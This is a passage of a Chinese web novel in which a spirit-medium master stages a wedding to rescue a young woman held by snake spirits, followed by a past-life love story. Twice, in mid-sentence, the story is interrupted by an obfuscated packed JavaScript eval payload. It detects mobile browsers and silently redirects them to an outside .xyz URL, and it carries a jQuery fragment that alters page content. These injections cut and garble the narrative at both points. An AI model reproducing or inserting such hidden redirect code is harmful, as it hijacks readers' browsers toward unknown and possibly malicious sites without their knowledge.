妇人马上就找村长交代,村长听后叫了几个人过来,买了一些红颜料对比着生辰八字调色,调完后将纸人整个粉刷了一遍,确定看不出上面的生辰八字后,拖去晾干准备烧掉。 凛冬还让他们帮忙把轿子抬到院子里,修好了上面坏掉的铃铛,掸去上面的灰尘,重新装饰了一番。 “以前都是看别人上花轿,自己上还是头一次。” 她把玩着花轿上的铃铛,似是在自言自语,又像是在同白起说。 白起还以为自己听错了:“什么上花轿?” “结婚啊。”凛冬没细解释,看着妇人闲下来,跑去找她商量后续的事情,没带白起。 白起没事干,就搬个凳子坐在院子,看几个人架起火堆把纸人烧干净。 很快到了晚上,村里头上了年岁的妇女们带着针线和布匹挤进了村长家,他在一群叽叽喳喳的议论声中明白了凛冬说的头一次上花轿是什么。 凛冬决定以身犯险,嫁进蛇窟解救安晶。 因为是准备立春那天出嫁,有些仓促,所以村长把村子里的人都请来帮忙准备嫁妆了。 之前给安晶准备的嫁妆还在,可以继续用,就是一些手工缝制的被子,枕头,还有小孩子衣物什么的,都需要他们加班赶工。 人多了凑在一起,就爱聊个八卦,白起也就被迫把相干的不相干的事情都听了一遍,整合后才了解凛冬的安排。 等人都散去了,回到屋子里,白起躺在地上,翻来覆去睡不着,问:“凛冬,你睡了吗?” “怎么了?”凛冬没睡着,正闭着眼酝酿睡意。 “你真的打算嫁给那条蛇吗,万一它对你施法怎么办?” “你说的对诶。”凛冬思索了一番,给出肯定答复。 “我觉得这个方法还是有点危险,要不我们还是换一个办法吧。” “不行,今天在庙里我已经说了,必须有人嫁过去,不是我就是其他人,让村子里其他人去我不放心,还不如我自己去。” “非得是女的吗?” “嗯?” “我装成女的替你去怎么样,这样即便它对我施法,你也能及时救我。” 凛冬一听乐了:“你就这么信任我会救你?” “我相信你,而且,我不能看着你一个女孩子去冒险。” 听到这话,凛冬翻身,撑着脑袋看向下面打地铺的白起,只觉得熟悉感更加强烈。 她没否决:“好啊,那立春那天你上花轿,你放心,我肯定不会让你受伤的。” 其实谁上花轿都是一样的。 只是因为这个事情再把外人拉进来并不合适,她不好意思让白起去,所以只能自己上。 听到白起要替自己坐花轿的时候她还有些震惊,她根本没想到这个和此事毫无关联的人竟然会愿意去冒险。 她不由得对白起高看两眼。 “嗯,我相信你。” 白起说完,就撑不住睡意闭了眼。 凛冬还不困,掐着手指给白起推算了一卦。 算到这次事情会顺利解决,白起安然无虞后,也阖眼放心睡了。 4. 阴差阳错 “晶晶,你已经好久没吃饭了,一直绝食你的身体会撑不住的。” 幽暗的蛇窟内,少年身着一件发亮的白衣,将手中的桃子递到女子面前。 然而女子并不领情,把他手中的桃子打落:“滚开,离我远点!” 她已经多日不吃不喝,全靠一口仙气吊着,哪怕浑身瘫软无力,但看到少年要靠近自己,还是调动全身力气抗拒。 尽管不是第一次被拒绝,少年心中还是有些不开心,他将掉落的桃子捡起来放到一边,身体往女子身上贴去:“晶晶,别讨厌我。” 在女子惊恐的目光中,他闭眸吻上去,以口渡气,为她续命。 冰凉感让她觉得有些窒息,一吻结束,女子恢复力气后立刻用力将他推开,扶着阴冷的墙壁开始干呕,呕完就端起一旁的茶杯漱口,毫不掩饰对少年的嫌弃。 一直站在门边默不作声观察的青黛看见弟弟这幅卑微却依旧讨不到好的模样,终于忍不住站出来:“青竹,你先出去,我和她聊聊。” “姐姐。”被称为青竹的少年脚下不动,只是一昧的求:“别伤害她,我会管好她的。” 青黛没回答,一双黑色蛇瞳掠过青竹,冷冷从女子身上扫过,吓得女子将自己缩成一团。 知道违背不了姐姐,青竹一步一挪离开,期间目光却一直留在女子身上。 他心中希望女子能求自己留下,只要她求,他一定会留下。 只可惜,一直到他走出门,她都没有求。 他不敢走远,就在门外偷听,青黛察觉到也没有管。 她上前将桌子上的桃子拿起来,用法术将上面的泥污扫去,啃了一口,桃子格外新鲜,在她的咀嚼下发出脆响。 “这个季节还有这样新鲜的桃子,安晶,你不是最爱吃桃子吗,怎么不吃?” 青黛随口一问。 “……” 回应她的只是沉默。 青黛并不计较,又啃了一口桃子:“还在想你那个男朋友吗?别想了,你来这里的那天他就已经回南方去了。 人族有句话怎么说的,嫁鸡随鸡,嫁狗随狗,你为什么不能嫁蛇随蛇? 再说,受青竹修为滋养,你也能得长生,这是多少人想求都求不来的,知足吧。” 安晶这才有所反驳:“知行才不会丢下我,他一定会找人把你们都杀了。” 她知道说这话会激怒青黛,还可能会让自己受伤,但她还是要说。 这几日她不停作妖逼这对姐弟翻脸大打出手,但两人却不吃她这一套,只是保持一个唱红脸,一个扮白脸。 青竹是护着她,但从不会因为她的三言两语对姐姐心生埋怨,姐弟俩也从不吵架。 听到这话,青黛确实翻脸:“不识好歹的东西,一开始我就不该心软留你,没有青竹,你以为你当初能活着离开这蛇窟?” 察觉到青黛要发作,青竹闯进来拦在安晶身前,不动声色挡回威压:“姐姐,她胆子小,你别吓她。” “你就纵着她吧,给我过来。”青黛恨铁不成钢,揪着他的衣领把他拽出去。 等离得远些,确定安晶听不见后,青黛才说起要紧事:“今天庙里来了个怪人。” “也是来找晶晶的吗,不是警告过他们了吗,怎么还不死心?” “是来送人的,那个怪人说愿意送一个人过来陪安晶,顺便劝安晶老实留下。”说着,青黛蹙起眉。 听到有利于自己和安晶,青竹想也不想就答应:“也好,男的女的?有同类陪着,晶晶应该会开心一点。” “你这个恋爱脑真是没救了,我怎么就有你这种弟弟,整日围着个女人转,你什么时候才能修成化龙?” 青竹被好一顿批,却不在乎,继续追问:“所以是男的女的?” “女的。” “什么时候?” “定的立春那天,我怀疑有诈……”看着一脸恳求的青竹,青黛无奈叹口气,将否决的话收回去:“就这一次,如果劝过安晶还是这般固执,就别怪我给她下毒了。” 左右不过一个怪人而已,她将近千年的修为,有什么可害怕的? 为了弟弟的情劫,她什么都可以做。 见青竹不语,低头沉思,青黛放柔了声音哄道:“姐姐也是为了你好,那毒不致命,只是更改她的记忆而已,你不想她爱你吗?” “我知道姐姐,我只是想再给她一些时间,她只是有些害怕我们。” 听到这话的青黛:“……” “唉,随你吧。” …… 立春。 宜嫁娶。 一大早,送亲队伍就开始围着村子敲锣打鼓,白色的世界很快被铺天盖地的红填满,人们脸上都洋溢着欢乐。 结婚,是一件很喜庆的事。 所以音乐是欢快的,鞭炮是对应响亮的。 伴随着礼炮飞天,当地特色的婚礼正式拉开帷幕。 此时此刻,准“新娘子”白起正坐在农村大席中被一群大妈围着各种投喂,当地美食盛了满满一大碗,他一只手捧着大碗吃的格外开心。 跟着凛冬素了几天,总算是能沾到点荤腥,他可得抓住机会好好补补前两天欠的肉蛋白。 “跟我来。”凛冬把他从大席上拉出来。 白起一时间没反应过来,左手端着碗右手拿着筷子就跟过来:“怎么了?” 凛冬看到他那满满一碗吃食,提醒一句:“少吃点,等下山高路远,可没地方给你上厕所。” “我就吃这一碗。” “你的霸总作风呢?”这才几日就开始入乡随俗了? “什么霸总作风,我不是霸总啊。”抛去城市里那一番规矩,白起彻底回归真我,一边说一边低头咬了一口四喜丸子。 “等会儿太阳下山,你就换上嫁衣去轿子里坐着,屋子里我放了张符,还有一瓶雄黄酒,你记得贴身带好。” 白起含糊不清答应:“好,你不吃点东西吗?” “我去拿个馒头。”这酒席全是肉菜,凛冬寻思吃个馒头垫垫算了。 人群在此时发出哄闹声,两人不约而同望过去。 请来助兴的舞团击鼓作舞,好不欢闹,那鼓声整齐有节奏,敲的凛冬一阵心慌。 她干脆馒头也不吃了,转身进屋。 屋内,妇人正坐在床上摩挲女儿小时候的相框。 凛冬随手关门,隔绝掉外面的欢闹。 “大师。”妇人见凛冬过来,抹掉脸上的泪痕,“您还没吃饭吧,我去给您煮碗清汤面。” “不用。”凛冬坐下给自己倒了杯茶,“抱歉耽搁了这么久。” “只要能把我女儿救回来,别说等几日了,要我替她去受罪也可以。” 人对未知的事情是恐惧担忧的,她知道女儿活着,却不知道她过的好不好,有没有受苦。 “我这几日,一做梦就能梦见我女儿哭着让我救她回家,她上大学的时候每天都要和我打一次电话,黏我黏的不得了,我从来没想过她会离开我,还断联这么长时间。” 凛冬不会安慰人,只好立下承诺:“您放心,我一定带您女儿回来见你。” “谢谢您大师。” 太阳落山后。 宴席散去,负责打扫的人开始收拾东西。 白起特意上完厕所再换的嫁衣,他换好后有些不好意思,特意挡着脸出来,见他害羞,凛冬生出戏逗他的心:“这衣服你穿上还挺合身的。” “别逗我了。” 白起接过凛冬递过来的红盖头,上了花轿,放下帘子时,凛冬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她瞬间又捏起一道符,盯着这条小竹叶青,随时准备动手。 “你来干什么,快走。” 青黛想强撑起力气,却立不起来。 青竹上前几步,挡在她身前,朝凛冬跪下:“大师,求你放过我姐姐,你要杀就杀我吧,人是我抓的,和姐姐她无关。” “你同她求情做什么,你和安晶姻缘是上天同意的,她不敢拆散你们。” 青黛或许是知道自己今日将会命丧于此,不愿再低头求饶,只是担忧眼前的怪人会伤害青竹。 凛冬收了匕首:“安晶人呢,带我去她。” 她帮青黛重塑人形,青竹见状,上前将青黛搀扶起来:“我带你去。” “别去。” “没事的姐姐,和你的命比起来,我的姻缘一点都不重要。” 他是恋爱脑,但和姐姐的命比起来,爱情并不重要。 姐弟两人搀扶着带凛冬来到关押安晶的蛇窟。 关在蛇窟中哭红了双眼,脸色灰白的安晶见到生面孔凛冬,眼里亮了一瞬。 凛冬拿出来时妇人给的信物展示给安晶看:“我是你母亲请来带你离开这里的。” “我母亲……我真的可以离开这里了吗?”安晶眼里充满欣喜。 “她不能走。”青黛出声阻止,“她回去若是嫁给张知行,张知行会被她克死的,这份因果到时候可别叩在我弟弟头上。” 凛冬不解:“什么因果?” “她自己允诺要嫁给我弟弟的,他们还拜过天地,安晶,难道你忘了?” 被青黛提醒,安晶这才想起来改变自己一生的转折点。 5. 阴差阳错 时间:上午九点。 张知行:【现在出来,来你家后头小树林。】 安晶:【别闹。】 张知行:【我没闹,我想见你。】 安晶:【你真来了,你什么时候来的?】 张知行:【刚到的。】 安晶:【你怎么不直接来我家?】 张知行:【你不是还没准备好见家长吗,现在准备好了?你等着,我马上买东西到你家门口。】 安晶:【不要,你等着,我过去。】 张知行:【带点吃的呗,你的宝宝肚子饿了。】 安晶:【饿着吧。】 安晶回完消息,看着张知行回了个可爱哭哭小猫头表情包,没有再回。 她找了个袋子装上猪肉酸菜包子,揣在怀里就急急忙忙往外跑。 母亲看见她往外跑,扯开嗓子喊了一声:“你去哪儿?” “我去山下,中午不用给我留饭了!” 安晶一路小跑着来到小树林,左看右看没有看到张知行的身影,给他打了个视频通话。 那边很快就接通了。 “宝宝。” “你在哪儿呢,我怎么看不见你?”安晶盯着他身后的背景看了几秒,随后转头寻找身边相似的环境。 “你别动,我来找你。” “行。” 安晶不再盲目乱走,只举着手机给张知行拍自己所在位置有什么树,一个没留神,脚下塌方,她也跟着跌了进去。 “啊——” “宝宝,你那边怎么了,屏幕怎么黑了,你没事吧,安晶,安晶你说句话!” 安晶从地上爬起来,晃了晃脑袋,拍掉身上的土,把手机捡起来:“我没事。” 很快手机屏幕上就出现她略显狼狈的脸。 张知行担心道:“你这是咋了?咋弄得满脸是土?” “不知道咋的地就塌了,我就从上面掉下来了。” “你能爬上来吗?” 安晶抬头看了眼距离,摇头:“有点高。” “别怕,我马上过来。” 张知行很快就顺着通话声音找了过来,看到坑的深度后,他朝下面喊了一声:“你等着啊,我去找人来救你。” “别,你自己找根绳子过来。” 自己没有什么生命危险,只是被困而已,安晶不想麻烦村子里的人,更不想被发现和张知行的关系。 “行,你别挂电话,我很快回来。” 两人保持着视频通话,安晶早上也没吃饭,等的时候饿了,她就拿出来包子啃着吃。 她正吃着,电话不知道为什么突然断开,她再打打过去却频频中断,信号丢失。 “这地方信号这么差的吗?” 她边吃边在坑里四处找信号,试了自己能爬到的最高的高度也没能将信号找到,倒是发现一个掩埋在墙壁中的洞。 洞口的土松松垮垮,她轻轻一用力,便全部塌掉,彻底露出全貌。 她站在洞口外,打开手电筒朝着里面照去,洞不大不小,刚好容纳一个人走过去。 她犹豫了片刻,终于忍不住,像是被什么力量催使一般走进去。 穿过又长又窄的小道,里面豁然开朗,她举着手机照了一圈,发现里面是洞连着洞,像极了迷宫。 安晶第一次体会到什么叫别有洞天。 她好奇的在几个洞里打转,丝毫没意识到危险悄然降临。 在她第一只脚踏进洞的时候,这里的主人青黛就察觉到了,她期盼着命运可以被更改,这个迷途的人类不要好奇踏入蛇窟深处,这样她就不用造下杀孽。 可惜,她的愿望还是落空了。 安晶进来后看见无数可以让人迷路的洞窟后,不掉头离开不说,还参观起来。 这些青黛都还能容忍,直到安晶拿出手机开始拍摄。 她再也忍不住,派出来一条小蛇吓唬安晶。 安晶举着手机查看自己用夜景模式拍出来的照片,放大后发现了一条蛇! 她确实被吓到了,但没有打算退出去,只是绕开那条没有威胁的蛇往更深处走去。 很快,安晶走到了蛇窟的深处。 一踏入这里,她就开始莫名的心慌,手机的光好像不够强,她看不清整个蛇窟的模样,只凭着感觉伸出手摸索。 她感觉到迎面吹来奇怪的风……一阵一阵的,像是呼吸,还伴随着奇怪的声音。 她抬手将手电筒往风吹来的地方举,想看看是不是出口,猝不及然和青黛对上视线。 “!!!” 看见黑色蛇瞳的那一刻,安晶停止了呼吸,心率飙升。 人在极度恐惧的时候是说不出来话的。 人在遇到危险的时候能激发出无限潜力。 青黛不急不缓吐着蛇信子,那距离,蛇信子差一点就会戳到她的手机。 安晶闭不住气开始小幅度的呼吸,青黛察觉到她的气息,黑色蛇瞳垂下,没有流露情绪,但格外阴森。 在青黛动起来之前,安晶一鼓作气,握着手机拼命掉头往前跑,头也不敢回。 青黛比她熟悉自己的领地,拖着长长的身子跟在她身后,穿过连通的蛇窟,用身子布下天罗地网将她围住。 安晶再也顾及不上来时走的是哪个蛇窟,只顺着大概方向满蛇窟乱跑,躲避身后的巨蛇。 青黛察觉到她已经在逃跑过程中迷失方向,不再急追,停下来派出几条毒蛇先行一步,自己紧随其后。 安晶注意跟来的小蛇,辨认出那几条蛇是毒蛇时,撒腿跑的更快了。 身后的毒蛇好像并不是要咬她,追的并不死,但安晶不敢赌,边回头观察距离边往前跑。 不知道跑了多久,她没看路,撞入一个白衣少年的怀抱。 是人! 这里竟然有人! 身后的蛇也停了下来,在距离她三米多远的距离朝着她吐蛇信子,却不敢靠近。 安晶方才一时间没能发现少年身上冷冷的,没有人气,这会儿看见蛇都不敢靠近他,慌忙和两方都拉开一定距离。 连蛇不敢靠近他,她不敢信。 “你迷路了吗?”少年看了眼一旁属于姐姐的,正蠢蠢欲动的得力干将们,上前靠近安晶:“别怕,它们不会伤害你。” 这句话说出口,安晶心里顿时松了一口气。 哪怕知道眼前的少年不是同类,她也想赌一把他的善良。 “谢谢。” “你是怎么进来这里的?” “我不知道,我摔下来后看到这里有路,就走进来了,我不是故意闯进来的,求求你帮帮我,我的家人还在等我回去,我会报答你的。” 她不能死在这里,她还没有赡养父母,她死了父母会怪罪张知行,张知行会活在愧疚之中。 她不要死,她不想看见自己爱的人因为自己而痛苦。 “我会帮你的,至于报答……” 少年并没有想好要求安晶给什么回报,安晶却不知道为什么,脱口而出:“只要你帮我,我愿意嫁给你!” 意识到自己将什么话说出口的时候,安晶捂住了嘴。 那不是她本意,但不知为何,她就像是脑子混沌了一样,被迫说出口。 少年听到她这句话,面露欣喜:“真的吗!你愿意嫁给我,做我的妻子,生生世世永不分离吗?” 安晶想否认,但张不开嘴。 与此同时,青黛追了上来。 察觉到陌生少年身上透出来的熟悉感,青黛吃惊:“青竹,你会化形了?” “这个人类没有对你做什么吧。”青黛一脸警惕盯着安晶,安晶往后撤了几步,手腕却突然被青竹抓起:“姐姐,这是我的妻子!她刚刚答应了要嫁给我!” “我不同意。” 青黛冷冷拒绝,蛇瞳中杀意漫起。 青竹却仿佛察觉不到这紧张的气氛,朝着青黛撒娇:“姐姐,求你了,我想娶她。” “你们种族不同,她是人类,寿命短,陪不了你一辈子,你们不合适。” “那我也要娶,我可以带她一起修炼,再不济,我也可以去找她的轮回转世,只要签订契约,我就能找到她。” 青黛:“……” 见姐姐沉默,青竹转身抱住安晶的腰:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965915|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等明年春天我们就举行婚礼吧,对了,你叫什么名字。” 安晶持续沉默,青竹贴在她后腰上的一双手冰凉,确实不是人类。 或许是心理原因,那一双眼睛也越看越像蛇瞳,她心里发毛,哪里还说得出话。 青黛看不下去,化成人形走过来,上手将两人拆散:“爱是相互的,你们才见第一面,你怎么确定她是真的爱你。” “我不管,她答应了嫁给我,就是爱我。” 青竹怎么都不愿意放弃,他托起安晶的右手,在她小拇指上咬了一口,留下两个牙印。 随后展示给青黛看:“我们签订了契约,就要生生世世在一起,永远不分开。” 青黛:“……” 她没忍住给了亲弟弟一个暴戾:“让你学着化人形没让你学着做恋爱脑,我不同意!” 两人对峙期间,安晶没扛过青竹的蛇毒晕了过去。 青竹将人揽入怀中,格外疼惜将人轻轻抱起,想带回自己的蛇窟,却被青黛拦住:“马上我们就要进入冬眠,到时候你怎么看顾她,等来年立春,再迎娶她回来,你看怎么样?” “可以!”青竹仔细想了下,发现自己冬眠安晶确实无法一个人在蛇窟过活,方才同意。 忽悠到青竹后,青黛就在青竹的注视中给安晶喂了解药,扔回那个坑里,堵死了她来时的洞口。 安晶醒来后第一时间检查了自己的小拇指,原先有牙印的地方恢复完整,丝毫没有被咬过的痕迹。 大概是做了一场梦吧,和她以往的梦没有什么不同。 她点开手机想查看自己梦中拍的蛇窟,却没在其中发现照片。 手机这会儿又有了信号,看到手机里张知行打来的电话,她选择回个消息过去报平安。 消息特殊提示音在头顶响起,安晶抬头,刚好看见张知行带绳子来救她。 “知行。” “你没事就好,刚刚怎么不回我消息?” 安晶解释:“刚刚信号不好。” “你等着,我拉你上来。” 张知行把绳子一头挤在一旁的树上,另一头丢到坑里。 安晶把绳子缠在身上,准备好后喊了一声,张知行便使出浑身力气将她从坑底拉上来。 一上去,腰上绳子都顾不上解开,安晶就紧紧将张知行抱住,用脸在他怀里蹭了蹭。 劫后余生,张知行揉了揉她的脑袋安慰她:“没事了,我带你去换身干净衣服,再送你回家。” “好。” 换了衣服拜别张知行再回到家后,安晶对母亲说的第一句话就是:“妈,我要嫁给张知行。” …… “所以你的意思是说,一开始你女朋友以为那只是一场梦而已,没有在意,一直到婚礼出事后才告诉你。” “对。” 三十多岁模样的中年男人在听完张知行的陈述后拧眉沉思,良久才道:“我现在怀疑你的女朋友是被蛇妖蛊惑了。” “道长,你一定要救救我女朋友,只要你能救出来我女朋友,异能管理局缺少的资金都由我来给。” “放心,我们肯定会把你女朋友解救回来的,如果真的有蛇妖,我们异管局一定会将它缉拿。” 道长承诺完,刚好车停了在了村长家门口。 一下车,两人就看到村长家门口贴着办喜事才会用到的贴画和横幅,以及上面恭贺新婚的文字,张知行急的推门闯进去。 妇人正好在院子里洗东西,看到他,擦手迎上来:“知行,你回来了!” “阿姨,家门口贴的横幅是怎么回事?” 妇人解释道:“我找了个大师过来救晶晶,大师让我们先给柳仙娶妻,借机救出晶晶。” 后跟进来的道长听完问:“什么时候的事情?” “就今天,刚走不久,知行,这位是……” “这位是我请来的道长,专门处理这些事情的,他能把晶晶救回来。”张知行简单介绍了一下,急着问:“道长,我们现在怎么办?” “你现在带我去山上找蛇窟,我怕你岳母找的大师不是那蛇妖的对手。” “好。” 6. 阴差阳错 “想起来了吗?” 看安晶那副完全不可置信的样子,青黛就知道她已经全部回想起来了,故意出言激怒她。 “不可能!我怎么会嫁给一条蛇,是你们在蛊惑我!” 安静确实被激怒,尤其是想起来那种话是从心底升起的,情绪就格外激动。 “好了,都闭嘴。”凛冬从口袋摸出两张符纸,“事情真相到底如何,一看便知。” 说着,她将两张符分别贴在安晶和青竹眉心,念诀:“苍天有眼,可观世世,因果羁绊,今日重现。” 两人额间的符在金光闪过后消失,三个人的意识随着一起进入了另一个空间。 * 人间。 正在举办婚礼。 不知怎的吹来一阵邪风,将准备上花轿的少女红盖头吹起,少女慌忙伸手将盖头压住,头一低进入花轿里。 虽然画着特殊的妆,也只露出少半张脸,但凛冬还是一眼就认出,新娘子是安晶。 前来迎亲的队伍举着张府的牌子徐徐前行,将凛冬抛在队伍末尾。 凛冬朝队伍最前面看去,新郎身着婚服,坐在一匹白马上,只留一个背影,看不出是谁。 画面一转,是成亲拜堂,少女还是安晶,与她拜堂的男子这次露出了全脸,是张知行,她在安晶的房间看到过他的照片。 两人按照规矩拜天地父母,夫妻对拜,送入洞房。 这大喜之日,新郎脸上笑开了花,可新娘子安晶好像并不开心。 张知行喝完喜酒回来,按照规矩挑去安晶的红盖头,盖头掀去,蓦然对上一双泪眼,他的酒意瞬间清醒过来,脸上的笑也变成不知所措。 “晶晶,你怎么哭了,嫁给我你不开心吗?” 他不问还好,一问,安晶的双眼就承受不住泪水,潸然落下。 张知行心疼的用食指抹去她眼中溢出的泪珠,小声安慰:“我知道你不爱我,没关系,等立春那天,青竹回来,你就随他去吧。” 闻言,安晶再也绷不住,泪水决堤,道歉连连:“知行,对不起,对不起……” “没事,我不怪你。”张知行轻轻将她拥入怀中,变戏法一般从袖中掏出一颗糖:“不哭了,我请你吃糖。” …… 画面又变了,这次是三人小时候。 张知行和安晶是青梅竹马,经常一起跑出去玩,这天他们两个人一起救下一条青色小蛇。 小蛇被救下后变成了和他们一般大小的孩子,两人对视一眼,坦然接受了这个第三者加入他们的阵营。 青竹很会讨安晶欢心,随着时间变化,三人越长越大,各自有了心事。 张知行发现自己爱上了安晶,青竹亦是。 安晶爱上了能说会道,性格可爱样貌非凡的青竹。 在张知行还不知道如何开口表达自己含蓄的爱意时,意外撞见了两个人私定终身。 他心中难过,但还是选择放手,将爱意埋藏在心底。 直到陛下选秀的旨意下达,所有适龄女子都要进宫选秀,宫门一入深似海,不做妃嫔便做婢女,必要受几年蹉跎。 安晶的父母不愿让闺女受苦,开始张罗婚事。 安晶决定嫁给青竹,可在这个紧要关头,青竹冬眠了。 她提起青竹却不知青竹家在何方,有无父母,父母只觉得她是疯了,更急着找媒婆说婚事,最后说到了张知行家,两家父母都觉得不错,便定下了婚事。 起初张知行得知自己被定亲是不乐意的,直到听到定亲的姑娘是安家小姐安晶,才改口。 婚期一到,他就敲锣打鼓把人娶了回来。 他知道安晶嫁给自己是迫不得已,但他还是愿意帮安晶。 嫁给自己,好过嫁给其他人。 最起码,他能给安晶真正的幸福。 婚后,两人相敬如宾,一直分床睡,关系还如以往年少时一般,相处得格外融洽。 日子越是如此简单幸福,张知行越是心里发紧,他悄悄在心中期盼,期盼春天晚一点到来,他还想再多过几天这样的舒心日子。 安晶却与他相反,她盼着枝头早一点生出嫩芽,盼着她的爱人能够来接她一起离开。 可春天不会按照两人的想法,该到时,自然便到了。 青竹冬眠结束,醒来的第一件事,就是去糖铺子买了一些安晶最爱吃的蜜饯去安府,却从下人口中听说安晶成亲的事。 他追问新郎是谁,得知是张知行后,带着愤怒与不解跑去张府,却在看见张府紧闭的大门时退缩。 在门口站着发呆的时候,他心中想好了很多质问的话语,却始终没有敲响大门的勇气。 或许,安晶她也爱着张知行呢? 他们从小一起长大…… 算了吧,他想。 人妖殊途,安晶嫁给张知行,不用忍受漫长冬日带来的孤独,也不用忍受他身上的冰凉。 更何况,他能看出来,张知行其实是爱着安晶的,只是没有说出来罢了。 他们是一对如神仙般的眷侣。 他又何必前去打扰。 临走前,他将蜜饯留下,原本想留下些信物证明自己来过,却又怕因此隔阂两人之间的感情。 他走后不久,下人将蜜饯送给了张知行,张知行看见蜜饯就知道是青竹来过,不过他未能帮青竹完愿。 蜜饯没被送到安晶手上,全被他分给了下人。 青竹来过的事情,他对安晶更是只字不提。 可安晶是固执的人,一年不足以让她放下青竹。她等了整整三年,直到第四年立春,都没等来青竹。 她死心了。 这三年张知行帮她应对婆婆的催生,还有各种细致入微的照顾,她都看在眼里,愧疚交加之下,心中终于释怀。 在一次张知行外出回来,又给她带了她最爱的糕点后,她犹豫着伸手,抱住男人的腰…… 三个月后,安晶怀孕了。 十个月后,孩子出世,安晶难产大出血,张知行请来的大夫和稳婆纷纷让张知行准备后事。 张知行想见安晶最后一面,却被安晶拒绝。 她驱赶走所有人,独自躺在床上,满头大汗,没了力气,全靠心里那份执念强撑着。 手臂上忽然传来冰凉的触感,她侧头去看,一条青蛇爬在她的手臂上。 她一眼认出这条蛇:“青竹。” “晶晶,好久不见。” “你冬眠结束为什么没来找我”这句话哽在喉头,安晶想埋怨,想质问,却什么也说不出。 青竹化成人形,用袖子一点点擦去她脸上冒出的汗珠:“辛苦了。” “你终于肯来见我了。”安晶终于能说出话,只是声音很小,“我就知道你会来见我的。” 她有预感,青竹不会错过临终一面。 这不,青竹来见她了。 她终于等到了她的执念,哪怕现在就去死也无憾了。 “青竹,我要死了。” 像预感青竹会来那样,她也预感到了自己的死亡。 面临死亡时,她不觉得难受,心里出奇的平静。 “你不会有事的晶晶。”青竹低头,吻上她的额头,问出憋着心里五年之久的问题:“如果我没有冬眠……安晶,会不会娶你的人就是我?” 安晶给出肯定的答复:“会。” “可惜这一世已经来不及了,下一世我再娶你,你再嫁我吧。” “好。” 安晶最后看了青竹一眼,他还是那副谪仙般少年的模样,本该冷漠疏离的蛇瞳长在他的脸上,却透着无尽温柔,她努力挤出一个微笑,在蛇瞳的注视下闭上眼,等着死亡降临。 口中忽然被塞入一个温热的东西,那东西入口即化,根本不顾她的意愿向身体里钻去,蔓延到四肢,她的身体瞬间就恢复了力气。 安晶诧异的睁开眼,看到一旁变回蛇形,盘成一团的青竹,唤了一声:“阿竹?” 青竹没有回应,一动不动。 现在是春季,蛇不会陷入沉眠。 她用手戳了戳青竹最不喜欢被触碰的尾巴,青竹仍然毫无动静。 安晶忽然意识到什么。 她想起小时候,青竹悄悄告诉她的秘密。 他的蛇丹很特殊,是他的心脏,服之,可让人起死回生。 只不过代价是一命换一命。 原来方才温热入口即化的东西,是青竹的心脏,青竹用他的命相抵,换她活下来。 蛇族身体冰凉,蛇丹却是温热的。 安晶将那条蛇抱在怀中,就像第一年立春那天,她没等来青竹那样哭泣,只是这一次,她哭的声音很大…… 前世安晶与青竹的记忆到此结束,画面转到了两人今生相遇。 或许是因为前世的约定,两人一个一见钟情,一个脱口而出上辈子的约定,这一次,青竹势在必得,不等安晶同意私下签订契约。 接着,又是一场婚礼。 婚礼又是定在冬天,蛇族冬眠的时刻。 原本该冬眠的青竹迟迟不肯进入冬眠状态,不管青黛怎么劝阻都没用,满心满眼都是安晶。 还因此提前引动了发I情期。 蛇族的发I情期非常难受,看着青竹被折磨的不成样子,青黛只好来人间寻安晶,却正好碰见安晶结婚。 青黛怨恨起这个让弟弟备受折磨的女子,引来小蛇爬满安家院子,以示警告,但对方并不在意,还要继续婚礼。 她无奈将婚礼搅乱,却没找到机会将安晶掳走,只能先回去用法术安抚住弟弟。 安家因为她的搅乱找了出马仙过来,她以为是安晶终于意识到错误,便带着弟弟前来接亲,却发现轿子里是纸人。 出马仙背后的仙家招惹了是个麻烦,她怕麻烦祸及弟弟,便没有动手,只是立下警告,然后蛊惑张知行和安晶开门,趁机将人掳走…… 至此,凛冬算是明白了事情的全部经过。 三人从回忆中苏醒,重温前世记忆的青竹激动的抱住安晶,安晶这次没有再推拒,只是说:“人妖殊途……” “晶晶,你说什么?” “对不起阿竹,这一次我先爱上了张知行,我不能和你在一起,下一世吧,下一世我再嫁给你。” 安晶还是选择听从内心,这一世她爱的是张知行,胜过爱青竹。 青竹或许是知道,他沉默了很久,失而复得的人就在眼前,让他选择放手他心有不甘,可这些日子他看她日日以泪洗面,心中又痛苦不已,一番纠结之后,终于决定放手:“晶晶,我希望你幸福,所以……” 青黛见自己这个傻弟弟要放人,赶在他之前开口:“不行,你不可以嫁给张知行,你和青竹签了契约,是上天认可的婚姻,你如果执意要嫁给张知行,张知行会因为破坏天婚而惨死,你怎么还张知行的命?” “我下一世……” “下一世你要嫁给青竹,得他滋养获得长生踏入修行,到时你又该怎么还?安晶,两世你都不明白人不应该轻易承诺这个道理吗?” 青黛字字诛心:“下一世的变数谁又能预卜,你在青竹和张知行出现之前,爱上其他人又该如何?你怎么偿还自己欠下的承诺?” “我……” 安晶被青黛说的无言以对。 青竹不愿看她为难,问:“姐姐,你可有破解契约的法子?” 青黛恨铁不成钢扇了青竹脑袋一巴掌,说:“重立契约,她欠你一条命又不愿用自己还,那就让她给你生个孩子吧,也算一命抵一命。” “我愿意。”安晶考虑后答应了。 见她答应,青黛嘴角扬起,一副计谋得逞的模样看向一旁隐身观戏的凛冬:“大师,麻烦你做我弟弟和安晶契约的见证人咯。” 凛冬皱眉,再次询问安晶:“你真的愿意?” “我愿意,大师,麻烦你帮我。” 确认过后,凛冬不再多言,找来纸笔写下两份契约,给两人看。 